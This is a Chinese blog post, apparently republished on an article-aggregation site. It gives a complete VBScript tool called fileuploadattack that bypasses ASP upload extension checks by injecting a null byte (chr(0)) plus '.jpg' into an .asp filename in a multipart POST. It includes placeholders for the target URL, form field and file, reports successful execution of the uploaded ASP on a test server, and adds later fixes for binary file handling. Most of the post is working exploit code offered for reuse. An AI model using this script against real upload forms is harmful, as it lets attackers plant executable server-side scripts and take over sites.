ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本
程序员文章站
2022-03-25 21:00:20
今天demon 提到了这个问题,正好想到之前看到的一篇文章《automatic file upload using ie+ado without user interact...
今天demon 提到了这个问题,正好想到之前看到的一篇文章《automatic file upload using ie+ado without user interaction - vbsscript》 。这篇文章给出了本地无交互自动上传脚本的示例,正好今天可以借来一用,原脚本利用了internetexplorer.application组件,我改写了一下,用winhttp.winhttprequest.5.1实现了类似的功能,关于这个组件更多的用法请参考《winhttprequest object reference》 。
复制代码 代码如下:
option explicit
function file_get_contents(filename)
dim fso, f
set fso = wsh.createobject("scripting.filesystemobject")
set f = fso.opentextfile(filename, 1)
file_get_contents = f.readall
f.close
set f = nothing
set fso = nothing
end function
' 代码修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
class fileuploadattack
private m_objwinhttp
private m_strurl
private m_strfieldname
private sub class_initialize()
set m_objwinhttp = wsh.createobject( _
"winhttp.winhttprequest.5.1")
end sub
private sub class_terminate()
set m_objwinhttp = nothing
end sub
public sub seturl(url)
m_strurl = url
end sub
public sub setfieldname(name)
m_strfieldname = name
end sub
'infrormations in form field header.
function mpfields(fieldname, filename, contenttype)
dim mptemplate 'template for multipart header
mptemplate = "content-disposition: form-data; name=""{field}"";" + _
" filename=""{file}""" + vbcrlf + _
"content-type: {ct}" + vbcrlf + vbcrlf
dim out
out = replace(mptemplate, "{field}", fieldname)
out = replace(out, "{file}", filename)
mpfields = replace(out, "{ct}", contenttype)
end function
'converts ole string to multibyte string
function stringtomb(s)
dim i, b
for i = 1 to len(s)
b = b & chrb(asc(mid(s, i, 1)))
next
stringtomb = b
end function
'build multipart/form-data document with file contents and header info
function buildformdata(filecontents, boundary, _
filename, fieldname)
dim formdata, pre, po
const contenttype = "application/upload"
'the two parts around file contents in the multipart-form data.
pre = "--" + boundary + vbcrlf + mpfields(fieldname, _
filename, contenttype)
po = vbcrlf + "--" + boundary + "--" + vbcrlf
'build form data using recordset binary field
const adlongvarbinary = 205
dim rs: set rs = wsh.createobject("adodb.recordset")
rs.fields.append "b", adlongvarbinary, _
len(pre) + lenb(filecontents) + len(po)
rs.open
rs.addnew
dim lendata
'convert pre string value to a binary data
lendata = len(pre)
rs("b").appendchunk (stringtomb(pre) & chrb(0))
pre = rs("b").getchunk(lendata)
rs("b") = ""
'convert po string value to a binary data
lendata = len(po)
rs("b").appendchunk (stringtomb(po) & chrb(0))
po = rs("b").getchunk(lendata)
rs("b") = ""
'join pre + filecontents + po binary data
rs("b").appendchunk (pre)
rs("b").appendchunk (filecontents)
rs("b").appendchunk (po)
rs.update
formdata = rs("b")
rs.close
buildformdata = formdata
end function
public function sendfile(filename)
const boundary = "---------------------------0123456789012"
m_objwinhttp.open "post", m_strurl, false
m_objwinhttp.setrequestheader "content-type", _
"multipart/form-data; boundary=" + boundary
dim filecontents, formdata
'get source file as a binary data.
filecontents = file_get_contents(filename)
' 下面构造了恶意文件扩展名chr(0) & .jpg
'build multipart/form-data document
formdata = buildformdata(filecontents, boundary, _
filename & chr(0) & ".jpg", m_strfieldname)
m_objwinhttp.send formdata
sendfile = m_objwinhttp.status
end function
public function gettext()
gettext = m_objwinhttp.responsetext
end function
end class
function vbmain()
vbmain = 0
dim fileupload
set fileupload = new fileuploadattack
' 需要修改下面内容为合适内容
' 上传url
fileupload.seturl "http://localhost/upload/uploadfile.asp"
fileupload.setfieldname "filepath" ' 上传表单框的name
' 需上传文件路径
if fileupload.sendfile("e:\projects\asp\index.asp")=200 then
msgbox "上传成功" & fileupload.gettext()
else
msgbox "失败"
end if
set fileupload = nothing
end function
call wscript.quit(vbmain())
上传功能是随便在网上找的一个简单上传asp文件,然后加入我在文章中《asp/vbscript中chr(0)的由来以及带来的安全问题》所述的getfileextensionname判断扩展名是否是jpg。
测试结果是:手动上传asp,失败;利用上述攻击脚本上传asp文件,成功!在上传目录中确实是asp文件,通过浏览器url也能访问这个asp文件,只是奇怪的是显示一片空白,我这里是iis 7,难道是iis版本问题,或许是file_get_contents应该返回文件的二进制流?好了,这个问题先搁在这儿,还有其他事,先闪了。
所有实验代码包,在这里upload.zip(代码bug参考下面更新说明)下载。
2011年12月25日更新
根据大家反馈的上传文件变成unicode little endian编码问题,首先抱歉的是当时确实偷懒了,主要代码参考的老外的,而且老外说明了一下getfile这个函数获取文件二进制数据,没找到这个函数实现,也懒得去弄二进制读取,直接搞了个file_get_contents获取文本数据,事实证明这样确实存在问题,下面我把补救措施说明一下吧,还是偷懒一下,直接在现有的基础上将文本数据转换为二进制数据。使用adodb.stream组件,函数如下:
复制代码 代码如下:
' 将指定charset的字符串str转换为二进制
function strtobin(str, charset)
with wsh.createobject("adodb.stream")
.type = 2
.mode = 3
.open
.charset = charset
.writetext str
.flush
.position = 0
.type = 1
strtobin = .read()
.close
end with
end function
然后将上述代码的第106行改成下面这样(以ascii读取文本):
复制代码 代码如下:
filecontents = strtobin(file_get_contents(filename), "ascii")
这样改过后上传的asp文件就是普通编码的文件了,然后浏览器访问这个文件,可以看到该asp被成功解析。
不过这里觉得啰嗦了一点,其实可以直接以二进制打开文件并返回数据,这里进行了两步:1.以文本方式读取文件;2.将文本转换为二进制数据。一步到位的代码可以参考下面一次以二进制byte()方式读取文件数据的函数:
复制代码 代码如下:
'returns file contents as a binary data
function getfile(filename)
dim stream: set stream = createobject("adodb.stream")
stream.type = 1 'binary
stream.open
stream.loadfromfile filename
getfile = stream.read
stream.close
set stream = nothing
end function
更优化的代码我就不写了,主要说明的是一个上传思路,如果大家希望得到完善的上传实现,可以参考demon的《vbs模拟post上传文件》 。
原文:
上一篇: Asp高级故障解决以及相关代码
下一篇: C语言数据结构与算法之深度、广度优先搜索